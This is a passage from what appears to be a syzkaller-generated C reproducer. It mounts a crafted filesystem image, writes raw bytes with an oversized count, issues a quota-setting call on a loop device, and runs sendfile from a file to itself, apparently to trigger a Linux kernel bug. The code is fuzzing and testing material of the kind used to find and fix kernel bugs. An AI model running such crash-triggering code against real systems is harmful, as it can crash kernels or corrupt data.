      "\xff\xc2\x21\xc7\x38\x9f\x9b\xf8\xac\x57\x9f\xf8\x03\x00\x00\x00\x00\x00"
      "\x00\x00\x00\xc0\x8b\xab\x6d\x6e\xad\x2c\x96\xcb\xc5\xf5\x63\xac\xf4\xfb"
      "\x18\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
      "\x00\x00\x00\x00\x00\x00\x00\x38\xb9\xfe\x0e\x00\x00\xff\xff\x97\x1b\xfb"
      "\xf2",
      1135);
  syz_mount_image(/*fs=*/0x200000000b80, /*dir=*/0x200000000000, /*flags=*/0,
                  /*opts=*/0x200000000ac0, /*chdir=*/1, /*size=*/0x46f,
                  /*img=*/0x200000000540);
  //  syz_create_resource$binfmt arguments: [
  //    file: ptr[in, buffer] {
  //      buffer: {2e 2f 66 69 6c 65 31 00} (length 0x8)
  //    }
  //  ]
  //  returns ptr_binfmt_file
  memcpy((void*)0x200000000040, "./file1\000", 8);
  res = -1;
  res = syz_create_resource(/*file=*/0x200000000040);
  if (res != -1)
    r[0] = res;
  //  openat$binfmt arguments: [
  //    fd: const = 0xffffffffffffff9c (8 bytes)
  //    file: ptr_binfmt_file (resource)
  //    flags: const = 0x2 (4 bytes)
  //    mode: const = 0x0 (2 bytes)
  //  ]
  //  returns fd_binfmt
  res = syscall(__NR_openat, /*fd=*/0xffffffffffffff9cul, /*file=*/r[0],
                /*flags=*/2, /*mode=*/0);
  if (res != -1)
    r[1] = res;
  //  write arguments: [
  //    fd: fd (resource)
  //    buf: ptr[in, buffer] {
  //      buffer: {0a 38 16 46 c3 bd e5 04 cc 45 43 f0 1c eb ae 2e b4 38 4d 6a
  //      23 36 4e 46 c3 0a bf 1b 5f 16 ea e0 e4 05 ab 25 6d 31 7c f8 30 ce a9
  //      fc 38 36 38 e6 81 f3 a4 56 47 64 6d fd 88 25 02 1a ce 67 93 02 ff 6f
  //      54 40 a8 14 b6 c9 08 93 b1 5d 2b 84 27 8f de 8f 97 57 20 c3 d4 6c 32
  //      c3 2d 89 fe d8 f2 f2 79 50 8a 3e 90 c3 a7 16 53 b1 a0 38 4b 6a f5 4f
  //      aa 0d 42 bc 4d e0 cf ad 85 73 01 81 26 b6 9b 06 fc 05 dd 18 54 dc ba
  //      70 d3 52 de b9 20 3f 25 19 18 f2 47 51 47 fe 52 56 fe f7 72 ee 5a 1d
  //      96 2c 36 6a bf 0a b4 a9 c4 1b 8c 12 14 00 00 00 00 00 00} (length
  //      0xb1)
  //    }
  //    count: len = 0xffffff22 (8 bytes)
  //  ]
  memcpy(
      (void*)0x200000000300,
      "\x0a\x38\x16\x46\xc3\xbd\xe5\x04\xcc\x45\x43\xf0\x1c\xeb\xae\x2e\xb4\x38"
      "\x4d\x6a\x23\x36\x4e\x46\xc3\x0a\xbf\x1b\x5f\x16\xea\xe0\xe4\x05\xab\x25"
      "\x6d\x31\x7c\xf8\x30\xce\xa9\xfc\x38\x36\x38\xe6\x81\xf3\xa4\x56\x47\x64"
      "\x6d\xfd\x88\x25\x02\x1a\xce\x67\x93\x02\xff\x6f\x54\x40\xa8\x14\xb6\xc9"
      "\x08\x93\xb1\x5d\x2b\x84\x27\x8f\xde\x8f\x97\x57\x20\xc3\xd4\x6c\x32\xc3"
      "\x2d\x89\xfe\xd8\xf2\xf2\x79\x50\x8a\x3e\x90\xc3\xa7\x16\x53\xb1\xa0\x38"
      "\x4b\x6a\xf5\x4f\xaa\x0d\x42\xbc\x4d\xe0\xcf\xad\x85\x73\x01\x81\x26\xb6"
      "\x9b\x06\xfc\x05\xdd\x18\x54\xdc\xba\x70\xd3\x52\xde\xb9\x20\x3f\x25\x19"
      "\x18\xf2\x47\x51\x47\xfe\x52\x56\xfe\xf7\x72\xee\x5a\x1d\x96\x2c\x36\x6a"
      "\xbf\x0a\xb4\xa9\xc4\x1b\x8c\x12\x14\x00\x00\x00\x00\x00\x00",
      177);
  syscall(__NR_write, /*fd=*/r[1], /*buf=*/0x200000000300ul,
          /*count=*/0xffffff22ul);
  //  syz_create_resource$binfmt arguments: [
  //    file: ptr[in, buffer] {
  //      buffer: {2e 2f 66 69 6c 65 31 00} (length 0x8)
  //    }
  //  ]
  //  returns ptr_binfmt_file
  memcpy((void*)0x200000000040, "./file1\000", 8);
  res = -1;
  res = syz_create_resource(/*file=*/0x200000000040);
  if (res != -1)
    r[2] = res;
  //  quotactl$Q_SETQUOTA arguments: [
  //    cmd: quota_cmd_setquota = 0xffffffff80000801 (8 bytes)
  //    special: ptr[in, blockdev_filename] {
  //      union blockdev_filename {
  //        loop: loop_filename {
  //          prefix: buffer: {2f 64 65 76 2f 6c 6f 6f 70} (length 0x9)
  //          id: proc = 0x0 (1 bytes)
  //          z: const = 0x0 (1 bytes)
  //        }
  //      }
  //    }
  //    id: uid (resource)
  //    addr: nil
  //  ]
  memcpy((void*)0x200000000040, "/dev/loop", 9);
  *(uint8_t*)0x200000000049 = 0x30;
  *(uint8_t*)0x20000000004a = 0;
  syscall(__NR_quotactl, /*cmd=Q_SETQUOTA_GRP*/ 0xffffffff80000801ul,
          /*special=*/0x200000000040ul, /*id=*/0, /*addr=*/0ul);
  //  openat$binfmt arguments: [
  //    fd: const = 0xffffffffffffff9c (8 bytes)
  //    file: ptr_binfmt_file (resource)
  //    flags: const = 0x42 (4 bytes)
  //    mode: const = 0x1ff (2 bytes)
  //  ]
  //  returns fd_binfmt
  res = syscall(__NR_openat, /*fd=*/0xffffffffffffff9cul, /*file=*/r[2],
                /*flags=*/0x42, /*mode=*/0x1ff);
  if (res != -1)
    r[3] = res;
  //  sendfile arguments: [
  //    fdout: fd (resource)
  //    fdin: fd (resource)
  //    off: ptr[inout, intptr] {
  //      intptr = 0x1 (8 bytes)
  //    }
  //    count: intptr = 0x80800 (8 bytes)
  //  ]
  *(uint64_t*)0x2000000000c0 = 1;
  syscall(__NR_sendfile, /*fdout=*/r[3], /*fdin=*/r[3],
          /*off=*/0x2000000000c0ul, /*count=*/0x80800ul);
  return 0;
}